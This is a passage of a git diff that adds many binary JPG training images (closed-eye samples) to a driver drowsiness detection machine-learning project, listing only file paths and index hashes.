00000000..9da7cee7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_133.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_134.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_134.jpg new file mode 100644 index 00000000..f549253f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_134.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_135.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_135.jpg new file mode 100644 index 00000000..b307682a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_135.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_136.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_136.jpg new file mode 100644 index 00000000..a9190e6f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_136.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_138.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_138.jpg new file mode 100644 index 00000000..6940a750 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_138.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_139.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_139.jpg new file mode 100644 index 00000000..e7f53e90 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_139.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_140.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_140.jpg new file mode 100644 index 00000000..71ea3c89 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_140.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_141.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_141.jpg new file mode 100644 index 00000000..9a4e3ed6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_141.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_142.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_142.jpg new file mode 100644 index 00000000..6322b107 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_142.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_143.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_143.jpg new file mode 100644 index 00000000..01ebea24 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_143.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_144.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_144.jpg new file mode 100644 index 00000000..60b1f11d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_144.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_145.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_145.jpg new file mode 100644 index 00000000..e84bf378 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_145.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_146.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_146.jpg new file mode 100644 index 00000000..cbd7f97f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_146.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_147.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_147.jpg new file mode 100644 index 00000000..88d969f4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_147.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_149.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_149.jpg new file mode 100644 index 00000000..4f269d87 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_149.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_15.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_15.jpg new file mode 100644 index 00000000..9fd84f49 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_15.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_150.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_150.jpg new file mode 100644 index 00000000..d9ba661f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_150.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_151.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_151.jpg new file mode 100644 index 00000000..69c2f0ed Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_151.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_153.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_153.jpg new file mode 100644 index 00000000..36fdfce0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_153.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_154.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_154.jpg new file mode 100644 index 00000000..b2bfbbfa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_154.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_155.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_155.jpg new file mode 100644 index 00000000..af1f0ebc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_155.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_156.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_156.jpg new file mode 100644 index 00000000..4245ca8c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_156.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_157.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_157.jpg new file mode 100644 index 00000000..b637fc30 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_157.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_158.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_158.jpg new file mode 100644 index 00000000..6fd08542 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_158.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_16.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_16.jpg new file mode 100644 index 00000000..89f2d559 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_16.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_160.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_160.jpg new file mode 100644 index 00000000..66141b3c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_160.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_162.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_162.jpg new file mode 100644 index 00000000..bdee0f22 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_162.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_165.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_165.jpg new file mode 100644 index 00000000..57ca55fb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_165.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_166.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_166.jpg new file mode 100644 index 00000000..3883e3f5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_166.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_17.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_17.jpg new file mode 100644 index 00000000..6dacc486 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_17.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_170.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_170.jpg new file mode 100644 index 00000000..b0cdcc46 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_170.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_171.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_171.jpg new file mode 100644 index 00000000..40b38ee2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_171.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_173.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_173.jpg new file mode 100644 index 00000000..67862f20 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_173.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_174.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_174.jpg new file mode 100644 index 00000000..2b7bd021 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_174.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_175.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_175.jpg new file mode 100644 index 00000000..8e5f6aa5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_175.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_176.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_176.jpg new file mode 100644 index 00000000..0956e4da Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_176.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_177.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_177.jpg new file mode 100644 index 00000000..dc3b707c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_177.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_178.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_178.jpg new file mode 100644 index 00000000..00b9cadd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_178.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_179.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_179.jpg new file mode 100644 index 00000000..c6ec7eb4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_179.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_18.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_18.jpg new file mode 100644 index 00000000..963426d0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_18.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_180.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_180.jpg new file mode 100644 index 00000000..64c070b5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_180.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_182.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_182.jpg new file mode 100644 index 00000000..9d294c5f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_182.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_183.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_183.jpg new file mode 100644 index 00000000..eaf9e49d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_183.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_184.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_184.jpg new file mode 100644 index 00000000..adc11e12 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_184.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_185.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_185.jpg new file mode 100644 index 00000000..e388c399 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_185.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_186.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_186.jpg new file mode 100644 index 00000000..879135d3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_186.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_187.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_187.jpg new file mode 100644 index 00000000..421d7673 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_187.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_188.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_188.jpg new file mode 100644 index 00000000..3cc502ce Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_188.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_189.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_189.jpg new file mode 100644 index 00000000..f0a74c95 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_189.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_19.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_19.jpg new file mode 100644 index 00000000..0fba1013 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_19.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_190.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_190.jpg new file mode 100644 index 00000000..571ec1d8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_190.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_191.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_191.jpg new file mode 100644 index 00000000..dc2a3dd7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_191.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_192.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_192.jpg new file mode 100644 index 00000000..3804aefa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_192.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_193.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_193.jpg new file mode 100644 index 00000000..7fe9c66e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_193.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_194.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_194.jpg new file mode 100644 index 00000000..21621af5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_194.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_196.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_196.jpg new file mode 100644 index 00000000..a4bad9d7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_196.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_198.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_198.jpg new file mode 100644 index 00000000..de926084 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_198.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_199.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_199.jpg new file mode 100644 index 00000000..50e13783 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_199.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_2.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_2.jpg new file mode 100644 index 00000000..e5b2bdb2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_2.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_200.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_200.jpg new file mode 100644 index 00000000..37b74e6d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_200.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_201.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_201.jpg new file mode 100644 index 00000000..ad4e52b2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_201.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_202.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_202.jpg new file mode 100644 index 00000000..a592dc40 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_202.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_203.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_203.jpg new file mode 100644 index 00000000..f9efcb56 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_203.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_204.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_204.jpg new file mode 100644 index 00000000..89ab0192 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_204.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_205.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_205.jpg new file mode 100644 index 00000000..e72df35a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_205.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_206.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_206.jpg new file mode 100644 index 00000000..432178e2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_206.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_207.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_207.jpg new file mode 100644 index 00000000..03cac898 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_207.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_208.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_208.jpg new file mode 100644 index 00000000..bd1fb9f4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_208.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_209.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_209.jpg new file mode 100644 index 00000000..4f2df77f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_209.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_21.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_21.jpg new file mode 100644 index 00000000..41d486c2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_21.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_210.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_210.jpg new file mode 100644 index 00000000..5de96e5e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_210.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_212.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_212.jpg new file mode 100644 index 00000000..d108acd1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_212.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_213.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_213.jpg new file mode 100644 index 00000000..d4218afe Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_213.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_215.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_215.jpg new file mode 100644 index 00000000..ac6f1614 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_215.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_217.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_217.jpg new file mode 100644 index 00000000..d4f3fb73 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_217.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_218.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_218.jpg new file mode 100644 index 00000000..93a94f3a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_218.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_22.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_22.jpg new file mode 100644 index 00000000..795457a6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_22.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_220.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_220.jpg new file mode 100644 index 00000000..3e0fbf5c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_220.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_222.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_222.jpg new file mode 100644 index 00000000..76efbe4d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_222.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_223.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_223.jpg new file mode 100644 index 00000000..e6a6fb2e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_223.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_224.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_224.jpg new file mode 100644 index 00000000..c6e4e0cb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_224.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_225.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_225.jpg new file mode 100644 index 00000000..2114349d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_225.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_227.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_227.jpg new file mode 100644 index 00000000..740c3a60 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_227.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_228.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_228.jpg new file mode 100644 index 00000000..6596856c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_228.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_229.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_229.jpg new file mode 100644 index 00000000..604916fc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_229.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_23.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_23.jpg new file mode 100644 index 00000000..7743de46 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_23.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_230.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_230.jpg new file mode 100644 index 00000000..367d5ef3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_230.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_232.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_232.jpg new file mode 100644 index 00000000..e8919363 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_232.jpg differ diff --git a/MachineLearning 